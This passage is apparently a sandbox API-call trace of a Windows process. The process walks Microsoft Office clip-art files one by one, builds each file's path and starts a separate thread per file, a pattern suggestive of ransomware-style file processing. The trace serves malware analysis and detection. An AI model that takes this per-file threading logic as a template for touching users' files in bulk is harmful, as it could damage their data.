ftLastWriteTime.dwLowDateTime=0x50170400, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0xa7c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297707.WMF", cAlternateFileName="")) returned 1 [0126.761] wcscmp (_String1="J0297707.WMF", _String2=".") returned 1 [0126.761] wcscmp (_String1="J0297707.WMF", _String2="..") returned 1 [0126.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86aa10 [0126.761] wcscpy (in: _Dest=0x1b86aa10, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.761] wcscat (in: _Dest=0x1b86aa10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.761] wcscat (in: _Dest=0x1b86aa10, _Source="J0297707.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" [0126.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86aa10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf8 [0126.762] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848ac000, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x848ac000, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0x27ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297749.WMF", cAlternateFileName="")) returned 1 [0126.762] wcscmp (_String1="J0297749.WMF", _String2=".") returned 1 [0126.762] wcscmp (_String1="J0297749.WMF", _String2="..") returned 1 [0126.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b9d0 [0126.762] wcscpy (in: _Dest=0x1b86b9d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.762] wcscat (in: _Dest=0x1b86b9d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.762] wcscat (in: _Dest=0x1b86b9d0, _Source="J0297749.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" [0126.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b9d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf4 [0126.763] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3dea00, ftCreationTime.dwHighDateTime=0x1bf2c8c, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xae3dea00, ftLastWriteTime.dwHighDateTime=0x1bf2c8c, nFileSizeHigh=0x0, nFileSizeLow=0x197e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298653.WMF", cAlternateFileName="")) returned 1 [0126.763] wcscmp (_String1="J0298653.WMF", _String2=".") returned 1 [0126.763] wcscmp (_String1="J0298653.WMF", _String2="..") returned 1 [0126.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86baf0 [0126.763] wcscpy (in: _Dest=0x1b86baf0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.764] wcscat (in: _Dest=0x1b86baf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.764] wcscat (in: _Dest=0x1b86baf0, _Source="J0298653.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" [0126.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86baf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf0 [0126.764] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dcbb900, ftCreationTime.dwHighDateTime=0x1bf2c8d, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2dcbb900, ftLastWriteTime.dwHighDateTime=0x1bf2c8d, nFileSizeHigh=0x0, nFileSizeLow=0x19a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298897.WMF", cAlternateFileName="")) returned 1 [0126.764] wcscmp (_String1="J0298897.WMF", _String2=".") returned 1 [0126.764] wcscmp (_String1="J0298897.WMF", _String2="..") returned 1 [0126.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86ba60 [0126.765] wcscpy (in: _Dest=0x1b86ba60, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.765] wcscat (in: _Dest=0x1b86ba60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.765] wcscat (in: _Dest=0x1b86ba60, _Source="J0298897.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" [0126.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ba60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcec [0126.766] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fa3200, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15fa3200, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x163c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299125.WMF", cAlternateFileName="")) returned 1 [0126.766] wcscmp (_String1="J0299125.WMF", _String2=".") returned 1 [0126.766] wcscmp (_String1="J0299125.WMF", _String2="..") returned 1 [0126.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b940 [0126.766] wcscpy (in: _Dest=0x1b86b940, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.766] wcscat (in: _Dest=0x1b86b940, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.766] wcscat (in: _Dest=0x1b86b940, _Source="J0299125.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" [0126.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce8 [0126.767] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375b1e00, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x375b1e00, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x23b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299171.WMF", cAlternateFileName="")) returned 1 [0126.767] wcscmp (_String1="J0299171.WMF", _String2=".") returned 1 [0126.767] wcscmp (_String1="J0299171.WMF", _String2="..") returned 1 [0126.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86bb80 [0126.767] wcscpy (in: _Dest=0x1b86bb80, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.767] wcscat (in: _Dest=0x1b86bb80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.767] wcscat (in: _Dest=0x1b86bb80, _Source="J0299171.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" [0126.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86bb80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce0 [0126.768] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa08f6100, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa08f6100, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x62c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299587.WMF", cAlternateFileName="")) returned 1 [0126.768] wcscmp (_String1="J0299587.WMF", _String2=".") returned 1 [0126.768] wcscmp (_String1="J0299587.WMF", _String2="..") returned 1 [0126.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86bd30 [0126.769] wcscpy (in: _Dest=0x1b86bd30, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.769] wcscat (in: _Dest=0x1b86bd30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.769] wcscat (in: _Dest=0x1b86bd30, _Source="J0299587.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" [0126.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86bd30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcdc [0126.769] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2b9900, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd2b9900, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x1310, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299611.WMF", cAlternateFileName="")) returned 1 [0126.769] wcscmp (_String1="J0299611.WMF", _String2=".") returned 1 [0126.770] wcscmp (_String1="J0299611.WMF", _String2="..") returned 1 [0126.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86bc10 [0126.770] wcscpy (in: _Dest=0x1b86bc10, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.770] wcscat (in: _Dest=0x1b86bc10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.770] wcscat (in: _Dest=0x1b86bc10, _Source="J0299611.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" [0126.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86bc10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd4 [0126.771] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e1a5400, ftCreationTime.dwHighDateTime=0x1bf2c9b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5e1a5400, ftLastWriteTime.dwHighDateTime=0x1bf2c9b, nFileSizeHigh=0x0, nFileSizeLow=0x4322, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299763.WMF", cAlternateFileName="")) returned 1 [0126.771] wcscmp (_String1="J0299763.WMF", _String2=".") returned 1 [0126.771] wcscmp (_String1="J0299763.WMF", _String2="..") returned 1 [0126.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b8b0 [0126.771] wcscpy (in: _Dest=0x1b86b8b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.771] wcscat (in: _Dest=0x1b86b8b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.771] wcscat (in: _Dest=0x1b86b8b0, _Source="J0299763.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" [0126.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b8b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd0 [0126.772] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0508500, ftCreationTime.dwHighDateTime=0x1bf3a1b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0508500, ftLastWriteTime.dwHighDateTime=0x1bf3a1b, nFileSizeHigh=0x0, nFileSizeLow=0x3465, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300520.GIF", cAlternateFileName="")) returned 1 [0126.772] wcscmp (_String1="J0300520.GIF", _String2=".") returned 1 [0126.772] wcscmp (_String1="J0300520.GIF", _String2="..") returned 1 [0126.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b820 [0126.772] wcscpy (in: _Dest=0x1b86b820, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.772] wcscat (in: _Dest=0x1b86b820, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.772] wcscat (in: _Dest=0x1b86b820, _Source="J0300520.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" [0126.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b820, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xccc [0126.773] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b61300, ftCreationTime.dwHighDateTime=0x1bf452c, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf9b61300, ftLastWriteTime.dwHighDateTime=0x1bf452c, nFileSizeHigh=0x0, nFileSizeLow=0x239c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300840.WMF", cAlternateFileName="")) returned 1 [0126.773] wcscmp (_String1="J0300840.WMF", _String2=".") returned 1 [0126.773] wcscmp (_String1="J0300840.WMF", _String2="..") returned 1 [0126.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86c120 [0126.773] wcscpy (in: _Dest=0x1b86c120, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.773] wcscat (in: _Dest=0x1b86c120, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.773] wcscat (in: _Dest=0x1b86c120, _Source="J0300840.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" [0126.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86c120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc8 [0126.775] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x616c5e00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x616c5e00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0xdafc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300912.WMF", cAlternateFileName="")) returned 1 [0126.775] wcscmp (_String1="J0300912.WMF", _String2=".") returned 1 [0126.775] wcscmp (_String1="J0300912.WMF", _String2="..") returned 1 [0126.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86c090 [0126.775] wcscpy (in: _Dest=0x1b86c090, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.775] wcscat (in: _Dest=0x1b86c090, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.775] wcscat (in: _Dest=0x1b86c090, _Source="J0300912.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" [0126.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86c090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc4 [0126.776] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb340b00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb340b00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2fd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301050.WMF", cAlternateFileName="")) returned 1 [0126.776] wcscmp (_String1="J0301050.WMF", _String2=".") returned 1 [0126.776] wcscmp (_String1="J0301050.WMF", _String2="..") returned 1 [0126.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86c000 [0126.776] wcscpy (in: _Dest=0x1b86c000, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.776] wcscat (in: _Dest=0x1b86c000, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.776] wcscat (in: _Dest=0x1b86c000, _Source="J0301050.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" [0126.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86c000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc0 [0126.777] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf780800, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf780800, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x224e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301076.WMF", cAlternateFileName="")) returned 1 [0126.777] wcscmp (_String1="J0301076.WMF", _String2=".") returned 1 [0126.777] wcscmp (_String1="J0301076.WMF", _String2="..") returned 1 [0126.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86bf70 [0126.777] wcscpy (in: _Dest=0x1b86bf70, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.777] wcscat (in: _Dest=0x1b86bf70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.777] wcscat (in: _Dest=0x1b86bf70, _Source="J0301076.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" [0126.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcbc [0126.778] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf91e7c00, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf91e7c00, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x953a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301252.WMF", cAlternateFileName="")) returned 1 [0126.778] wcscmp (_String1="J0301252.WMF", _String2=".") returned 1 [0126.778] wcscmp (_String1="J0301252.WMF", _String2="..") returned 1 [0126.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86bee0 [0126.778] wcscpy (in: _Dest=0x1b86bee0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.778] wcscat (in: _Dest=0x1b86bee0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.778] wcscat (in: _Dest=0x1b86bee0, _Source="J0301252.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" [0126.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86bee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb8 [0126.779] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570900, ftCreationTime.dwHighDateTime=0x1bf4530, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5570900, ftLastWriteTime.dwHighDateTime=0x1bf4530, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301480.WMF", cAlternateFileName="")) returned 1 [0126.779] wcscmp (_String1="J0301480.WMF", _String2=".") returned 1 [0126.779] wcscmp (_String1="J0301480.WMF", _String2="..") returned 1 [0126.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86be50 [0126.779] wcscpy (in: _Dest=0x1b86be50, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft 